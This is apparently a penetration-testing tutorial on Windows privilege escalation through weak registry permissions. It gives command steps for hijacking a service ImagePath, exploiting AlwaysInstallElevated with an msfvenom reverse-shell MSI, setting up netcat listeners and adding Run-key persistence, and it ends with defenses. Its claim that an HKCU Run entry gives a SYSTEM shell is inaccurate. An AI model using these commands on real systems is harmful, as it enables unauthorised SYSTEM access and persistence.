

Windows Privilege Escalation via Weak Registry Permissions

Registry-based attacks in Windows are a powerful method of privilege escalation when weak or misconfigured permissions are in place. Attackers can modify registry entries associated with services or system configurations to execute malicious payloads or escalate privileges. Below are examples of how to exploit weak registry permissions and the "AlwaysInstallElevated" registry setting for privilege escalation.

1. Weak Registry Permissions on Services

Weak permissions on registry entries associated with services can allow an attacker to modify critical fields such as the ImagePath, which specifies the executable file for a service. By changing the ImagePath to point to a malicious payload, an attacker can execute that payload with the service's privileges (often SYSTEM).

STEPS TO EXPLOIT:

Action	Command
Check service registry information using winPEAS	.\winPEASany.exe servicesinfo
Check registry entry permissions	accesschk64.exe /accepteula -uwqvk HKLM\System\CurrentControlSet\Services\regsvc
Query the registry for the service's permissions	Get-Acl -Path hklm:\System\CurrentControlSet\services\regsvc fl
Modify the ImagePath to point to your reverse shell executable	reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\users\user\jaja\reverse.exe /f

Action	Command
Setup a listener for the reverse shell	rlwrap nc -lvnp 443
Start the service to trigger the payload	net start regsvc or sc.exe start regsvc
Result	SYSTEM shell

Explanation: In this scenario, the regsvc service's registry entry has weak permissions, allowing users to modify it. By changing the ImagePath to point to a reverse shell executable, we can cause the service to launch the payload when it starts, granting us SYSTEM-level access.

2. "AlwaysInstallElevated" Registry Setting

The "AlwaysInstallElevated" registry setting, when enabled, allows MSI (Microsoft Installer) files to be installed with elevated privileges (i.e., SYSTEM or Administrator). This can be exploited to run a malicious MSI package that will trigger a reverse shell in a high-privilege context.

STEPS TO EXPLOIT:

Action	Command
Check if "AlwaysInstallElevated" is enabled in the registry	reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Check if "AlwaysInstallElevated" is enabled at the system level	reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
If both keys are set to 0x1, proceed with the exploit	
Create a reverse shell payload in MSI format	msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.13.31.108 LPORT=443 -f msi -o reverse.msi
Setup a listener for the reverse shell	rlwrap nc -lvnp 443

Action	Command
Execute the MSI file using <code>msiexec</code>	<code>msiexec /quiet /qn /i \\TSCLIENT\share\reverse.msi</code>
Result	SYSTEM shell via MSI installation

Explanation: By setting `AlwaysInstallElevated` to `0x1` in either the user or system registry (or both), any MSI file can be installed with elevated privileges. This setting is particularly dangerous in environments where an attacker can place or run MSI files, as they will execute with the same privileges as the installer (typically SYSTEM).

3. Registry Permissions Misconfiguration - General Exploit Example

In some cases, simply identifying weak or misconfigured registry permissions on critical areas of the registry can lead to privilege escalation. Services, configurations, and even system-wide settings stored in the registry are often overlooked and can serve as a backdoor for an attacker to manipulate system behavior.

EXAMPLE STEPS TO EXPLOIT REGISTRY MISCONFIGURATIONS:

Action	Command
Check registry permissions on critical entries (e.g., services, system settings)	<code>accesschk64.exe /accepteula -uwqv HKLM\Software\Microsoft\Windows\CurrentVersion\Run</code>
Modify registry entry to execute a reverse shell or malicious payload	<code>reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ReverseShell /t REG_SZ /d "C:\users\user\jaja\reverse.exe"</code>
Setup listener for reverse shell	<code>rlwrap nc -lvnp 443</code>
Result	SYSTEM shell when the entry is executed upon system start or logon

Explanation: By modifying registry keys under HKCU\Software\Microsoft\Windows\CurrentVersion\Run or other critical locations, an attacker can cause a malicious executable to run on startup or logon. This technique is often used in persistence mechanisms.

4. Defense Against Registry-Based Privilege Escalation

To mitigate registry-based privilege escalation attacks, consider the following best practices:

- **Restrict Registry Permissions:** Ensure that registry keys related to system services, executables, and installer configurations have restrictive permissions. Only trusted administrators should have write access.
- **Disable "AlwaysInstallElevated":** Disable the "AlwaysInstallElevated" registry setting across the environment, especially in corporate and sensitive systems. This prevents MSI files from being installed with elevated privileges without proper oversight.
- **Audit and Monitor Registry Changes:** Set up regular auditing for changes to critical registry keys, especially those associated with services, system configurations, and installer settings. Use tools like Windows Event Logs and Sysmon to monitor suspicious activities.
- **Enforce Least Privilege:** Follow the principle of least privilege for all users and services. Only grant elevated privileges when absolutely necessary, and avoid giving normal users unnecessary access to system-level components.
- **Apply Regular Patching:** Regularly update your systems to ensure that known vulnerabilities, including those that could affect the registry or services, are patched and mitigated.

→**Use Application Whitelisting:** Enforce application whitelisting policies to restrict the execution of unapproved executables, including MSI installers, to prevent malicious code execution.

Conclusion

Registry-based privilege escalation attacks are a serious threat on Windows systems, as they allow attackers to modify system behaviors, execute payloads, or even gain SYSTEM-level access. Weak registry permissions, improperly configured "AlwaysInstallElevated" settings, and other misconfigurations can create exploitable attack vectors.

To mitigate these risks, it is essential to properly secure registry permissions, audit critical registry keys, and configure security policies that limit the ability of malicious code to run with elevated privileges. With the right defenses in place, you can significantly reduce the risk of privilege escalation through registry-based attacks.